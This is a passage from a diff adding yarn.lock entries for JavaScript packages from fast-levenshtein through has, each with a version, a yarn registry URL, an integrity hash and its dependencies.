"https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917" + integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc= + +fastq@^1.6.0: + version "1.10.1" + resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.10.1.tgz#8b8f2ac8bf3632d67afcd65dac248d5fdc45385e" + integrity sha512-AWuv6Ery3pM+dY7LYS8YIaCiQvUaos9OB1RyNgaOWnaX+Tik7Onvcsf8x8c+YtDeT0maYLniBip2hox5KtEXXA== + dependencies: + reusify "^1.0.4" + +faye-websocket@^0.11.3: + version "0.11.3" + resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.3.tgz#5c0e9a8968e8912c286639fde977a8b209f2508e" + integrity sha512-D2y4bovYpzziGgbHYtGCMjlJM36vAl/y+xUyn1C+FVx8szd1E+86KwVw6XvYSzOP8iMpm1X0I4xJD+QtUb36OA== + dependencies: + websocket-driver ">=0.5.1" + +fb-watchman@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-2.0.1.tgz#fc84fb39d2709cf3ff6d743706157bb5708a8a85" + integrity sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg== + dependencies: + bser "2.1.1" + +figgy-pudding@^3.5.1: + version "3.5.2" + resolved "https://registry.yarnpkg.com/figgy-pudding/-/figgy-pudding-3.5.2.tgz#b4eee8148abb01dcf1d1ac34367d59e12fa61d6e" + integrity sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw== + +file-entry-cache@^6.0.0: + version "6.0.1" + resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027" + integrity sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg== + dependencies: + flat-cache "^3.0.4" + +file-loader@6.1.1: + version "6.1.1" + resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-6.1.1.tgz#a6f29dfb3f5933a1c350b2dbaa20ac5be0539baa" + integrity sha512-Klt8C4BjWSXYQAfhpYYkG4qHNTna4toMHEbWrI5IuVoxbU6uiDKeKAP99R8mmbJi3lvewn/jQBOgU4+NS3tDQw== + dependencies: + loader-utils "^2.0.0" + schema-utils "^3.0.0" + +file-uri-to-path@1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz#553a7b8446ff6f684359c445f1e37a05dacc33dd" + integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw== + +filesize@6.1.0: + version "6.1.0" + resolved "https://registry.yarnpkg.com/filesize/-/filesize-6.1.0.tgz#e81bdaa780e2451d714d71c0d7a4f3238d37ad00" + integrity sha512-LpCHtPQ3sFx67z+uh2HnSyWSLLu5Jxo21795uRDuar/EOuYWXib5EmPaGIBuSnRqH2IODiKA2k5re/K9OnN/Yg== + +fill-range@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7" + integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc= + dependencies: + extend-shallow "^2.0.1" + is-number "^3.0.0" + repeat-string "^1.6.1" + to-regex-range "^2.1.0" + +fill-range@^7.0.1: + version "7.0.1" + resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40" + integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ== + dependencies: + to-regex-range "^5.0.1" + +finalhandler@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d" + integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA== + dependencies: + debug "2.6.9" + encodeurl "~1.0.2" + escape-html "~1.0.3" + on-finished "~2.3.0" + parseurl "~1.3.3" + statuses "~1.5.0" + unpipe "~1.0.0" + +find-cache-dir@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-2.1.0.tgz#8d0f94cd13fe43c6c7c261a0d86115ca918c05f7" + integrity sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ== + dependencies: + commondir "^1.0.1" + make-dir "^2.0.0" + pkg-dir "^3.0.0" + +find-cache-dir@^3.3.1: + version "3.3.1" + resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880" + integrity sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ== + dependencies: + commondir "^1.0.1" + make-dir "^3.0.2" + pkg-dir "^4.1.0" + +find-up@4.1.0, find-up@^4.0.0, find-up@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19" + integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw== + dependencies: + locate-path "^5.0.0" + path-exists "^4.0.0" + +find-up@^2.0.0, find-up@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/find-up/-/find-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7" + integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c= + dependencies: + locate-path "^2.0.0" + +find-up@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73" + integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg== + dependencies: + locate-path "^3.0.0" + +flat-cache@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.0.4.tgz#61b0338302b2fe9f957dcc32fc2a87f1c3048b11" + integrity sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg== + dependencies: + flatted "^3.1.0" + rimraf "^3.0.2" + +flatted@^3.1.0: + version "3.1.1" + resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.1.1.tgz#c4b489e80096d9df1dfc97c79871aea7c617c469" + integrity sha512-zAoAQiudy+r5SvnSw3KJy5os/oRJYHzrzja/tBDqrZtNhUw8bt6y8OBzMWcjWr+8liV8Eb6yOhw8WZ7VFZ5ZzA== + +flatten@^1.0.2: + version "1.0.3" + resolved "https://registry.yarnpkg.com/flatten/-/flatten-1.0.3.tgz#c1283ac9f27b368abc1e36d1ff7b04501a30356b" + integrity sha512-dVsPA/UwQ8+2uoFe5GHtiBMu48dWLTdsuEd7CKGlZlD78r1TTWBvDuFaFGKCo/ZfEr95Uk56vZoX86OsHkUeIg== + +flush-write-stream@^1.0.0: + version "1.1.1" + resolved "https://registry.yarnpkg.com/flush-write-stream/-/flush-write-stream-1.1.1.tgz#8dd7d873a1babc207d94ead0c2e0e44276ebf2e8" + integrity sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w== + dependencies: + inherits "^2.0.3" + readable-stream "^2.3.6" + +follow-redirects@^1.0.0: + version "1.13.2" + resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.13.2.tgz#dd73c8effc12728ba5cf4259d760ea5fb83e3147" + integrity sha512-6mPTgLxYm3r6Bkkg0vNM0HTjfGrOEtsfbhagQvbxDEsEkpNhw582upBaoRZylzen6krEmxXJgt9Ju6HiI4O7BA== + +for-in@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80" + integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA= + +forever-agent@~0.6.1: + version "0.6.1" + resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91" + integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE= + +fork-ts-checker-webpack-plugin@4.1.6: + version "4.1.6" + resolved "https://registry.yarnpkg.com/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-4.1.6.tgz#5055c703febcf37fa06405d400c122b905167fc5" + integrity sha512-DUxuQaKoqfNne8iikd14SAkh5uw4+8vNifp6gmA73yYNS6ywLIWSLD/n/mBzHQRpW3J7rbATEakmiA8JvkTyZw== + dependencies: + "@babel/code-frame" "^7.5.5" + chalk "^2.4.1" + micromatch "^3.1.10" + minimatch "^3.0.4" + semver "^5.6.0" + tapable "^1.0.0" + worker-rpc "^0.1.0" + +form-data@~2.3.2: + version "2.3.3" + resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6" + integrity sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ== + dependencies: + asynckit "^0.4.0" + combined-stream "^1.0.6" + mime-types "^2.1.12" + +forwarded@~0.1.2: + version "0.1.2" + resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84" + integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ= + +fragment-cache@^0.2.1: + version "0.2.1" + resolved "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19" + integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk= + dependencies: + map-cache "^0.2.2" + +fresh@0.5.2: + version "0.5.2" + resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" + integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac= + +from2@^2.1.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/from2/-/from2-2.3.0.tgz#8bfb5502bde4a4d36cfdeea007fcca21d7e382af" + integrity sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8= + dependencies: + inherits "^2.0.1" + readable-stream "^2.0.0" + +fs-extra@^7.0.0: + version "7.0.1" + resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9" + integrity sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw== + dependencies: + graceful-fs "^4.1.2" + jsonfile "^4.0.0" + universalify "^0.1.0" + +fs-extra@^8.1.0: + version "8.1.0" + resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-8.1.0.tgz#49d43c45a88cd9677668cb7be1b46efdb8d2e1c0" + integrity sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g== + dependencies: + graceful-fs "^4.2.0" + jsonfile "^4.0.0" + universalify "^0.1.0" + +fs-extra@^9.0.1, fs-extra@^9.1.0: + version "9.1.0" + resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-9.1.0.tgz#5954460c764a8da2094ba3554bf839e6b9a7c86d" + integrity sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ== + dependencies: + at-least-node "^1.0.0" + graceful-fs "^4.2.0" + jsonfile "^6.0.1" + universalify "^2.0.0" + +fs-minipass@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb" + integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg== + dependencies: + minipass "^3.0.0" + +fs-write-stream-atomic@^1.0.8: + version "1.0.10" + resolved "https://registry.yarnpkg.com/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz#b47df53493ef911df75731e70a9ded0189db40c9" + integrity sha1-tH31NJPvkR33VzHnCp3tAYnbQMk= + dependencies: + graceful-fs "^4.1.2" + iferr "^0.1.5" + imurmurhash "^0.1.4" + readable-stream "1 || 2" + +fs.realpath@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" + integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8= + +fsevents@^1.2.7: + version "1.2.13" + resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-1.2.13.tgz#f325cb0455592428bcf11b383370ef70e3bfcc38" + integrity sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw== + dependencies: + bindings "^1.5.0" + nan "^2.12.1" + +fsevents@^2.1.2, fsevents@^2.1.3, fsevents@~2.3.1: + version "2.3.2" + resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a" + integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== + +function-bind@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d" + integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== + +functional-red-black-tree@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327" + integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc= + +gensync@^1.0.0-beta.1: + version "1.0.0-beta.2" + resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0" + integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg== + +get-caller-file@^2.0.1: + version "2.0.5" + resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e" + integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== + +get-intrinsic@^1.0.2, get-intrinsic@^1.1.0, get-intrinsic@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.1.tgz#15f59f376f855c446963948f0d24cd3637b4abc6" + integrity sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q== + dependencies: + function-bind "^1.1.1" + has "^1.0.3" + has-symbols "^1.0.1" + +get-own-enumerable-property-symbols@^3.0.0: + version "3.0.2" + resolved "https://registry.yarnpkg.com/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz#b5fde77f22cbe35f390b4e089922c50bce6ef664" + integrity sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g== + +get-package-type@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/get-package-type/-/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a" + integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q== + +get-stream@^4.0.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5" + integrity sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w== + dependencies: + pump "^3.0.0" + +get-stream@^5.0.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-5.2.0.tgz#4966a1795ee5ace65e706c4b7beb71257d6e22d3" + integrity sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA== + dependencies: + pump "^3.0.0" + +get-value@^2.0.3, get-value@^2.0.6: + version "2.0.6" + resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28" + integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg= + +getpass@^0.1.1: + version "0.1.7" + resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa" + integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo= + dependencies: + assert-plus "^1.0.0" + +glob-base@^0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/glob-base/-/glob-base-0.3.0.tgz#dbb164f6221b1c0b1ccf82aea328b497df0ea3c4" + integrity sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q= + dependencies: + glob-parent "^2.0.0" + is-glob "^2.0.0" + +glob-parent@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-2.0.0.tgz#81383d72db054fcccf5336daa902f182f6edbb28" + integrity sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg= + dependencies: + is-glob "^2.0.0" + +glob-parent@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae" + integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4= + dependencies: + is-glob "^3.1.0" + path-dirname "^1.0.0" + +glob-parent@^5.0.0, glob-parent@^5.1.0, glob-parent@~5.1.0: + version "5.1.1" + resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.1.tgz#b6c1ef417c4e5663ea498f1c45afac6916bbc229" + integrity sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ== + dependencies: + is-glob "^4.0.1" + +glob@^7.0.0: + version "7.1.7" + resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90" + integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ== + dependencies: + fs.realpath "^1.0.0" + inflight "^1.0.4" + inherits "2" + minimatch "^3.0.4" + once "^1.3.0" + path-is-absolute "^1.0.0" + +glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6: + version "7.1.6" + resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6" + integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA== + dependencies: + fs.realpath "^1.0.0" + inflight "^1.0.4" + inherits "2" + minimatch "^3.0.4" + once "^1.3.0" + path-is-absolute "^1.0.0" + +global-modules@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780" + integrity sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A== + dependencies: + global-prefix "^3.0.0" + +global-prefix@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97" + integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg== + dependencies: + ini "^1.3.5" + kind-of "^6.0.2" + which "^1.3.1" + +globals@^11.1.0: + version "11.12.0" + resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e" + integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA== + +globals@^12.1.0: + version "12.4.0" + resolved "https://registry.yarnpkg.com/globals/-/globals-12.4.0.tgz#a18813576a41b00a24a97e7f815918c2e19925f8" + integrity sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg== + dependencies: + type-fest "^0.8.1" + +globby@11.0.1: + version "11.0.1" + resolved "https://registry.yarnpkg.com/globby/-/globby-11.0.1.tgz#9a2bf107a068f3ffeabc49ad702c79ede8cfd357" + integrity sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ== + dependencies: + array-union "^2.1.0" + dir-glob "^3.0.1" + fast-glob "^3.1.1" + ignore "^5.1.4" + merge2 "^1.3.0" + slash "^3.0.0" + +globby@^11.0.1: + version "11.0.2" + resolved "https://registry.yarnpkg.com/globby/-/globby-11.0.2.tgz#1af538b766a3b540ebfb58a32b2e2d5897321d83" + integrity sha512-2ZThXDvvV8fYFRVIxnrMQBipZQDr7MxKAmQK1vujaj9/7eF0efG7BPUKJ7jP7G5SLF37xKDXvO4S/KKLj/Z0og== + dependencies: + array-union "^2.1.0" + dir-glob "^3.0.1" + fast-glob "^3.1.1" + ignore "^5.1.4" + merge2 "^1.3.0" + slash "^3.0.0" + +globby@^6.1.0: + version "6.1.0" + resolved "https://registry.yarnpkg.com/globby/-/globby-6.1.0.tgz#f5a6d70e8395e21c858fb0489d64df02424d506c" + integrity sha1-9abXDoOV4hyFj7BInWTfAkJNUGw= + dependencies: + array-union "^1.0.1" + glob "^7.0.3" + object-assign "^4.0.1" + pify "^2.0.0" + pinkie-promise "^2.0.0" + +graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.4: + version "4.2.6" + resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee" + integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ== + +growly@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/growly/-/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081" + integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE= + +gzip-size@5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274" + integrity sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA== + dependencies: + duplexer "^0.1.1" + pify "^4.0.1" + +handle-thing@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e" + integrity sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg== + +har-schema@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92" + integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI= + +har-validator@~5.1.3: + version "5.1.5" + resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.5.tgz#1f0803b9f8cb20c0fa13822df1ecddb36bde1efd" + integrity sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w== + dependencies: + ajv "^6.12.3" + har-schema "^2.0.0" + +harmony-reflect@^1.4.6: + version "1.6.1" + resolved "https://registry.yarnpkg.com/harmony-reflect/-/harmony-reflect-1.6.1.tgz#c108d4f2bb451efef7a37861fdbdae72c9bdefa9" + integrity sha512-WJTeyp0JzGtHcuMsi7rw2VwtkvLa+JyfEKJCFyfcS0+CDkjQ5lHPu7zEhFZP+PDSRrEgXa5Ah0l1MbgbE41XjA== + +has-flag@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd" + integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0= + +has-flag@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b" + integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== + +has-symbols@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8" + integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg== + +has-value@^0.3.1: + version "0.3.1" + resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f" + integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8= + dependencies: + get-value "^2.0.3" + has-values "^0.1.4" + isobject "^2.0.0" + +has-value@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177" + integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc= + dependencies: + get-value "^2.0.6" + has-values "^1.0.0" + isobject "^3.0.0" + +has-values@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771" + integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E= + +has-values@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f" + integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8= + dependencies: + is-number "^3.0.0" + kind-of "^4.0.0" + +has@^1.0.0, has@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796" + integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== + dependencies: + function-bind "^1.1.1" + +hash-base@^3.0.0: + version "3.1.0" + resolved 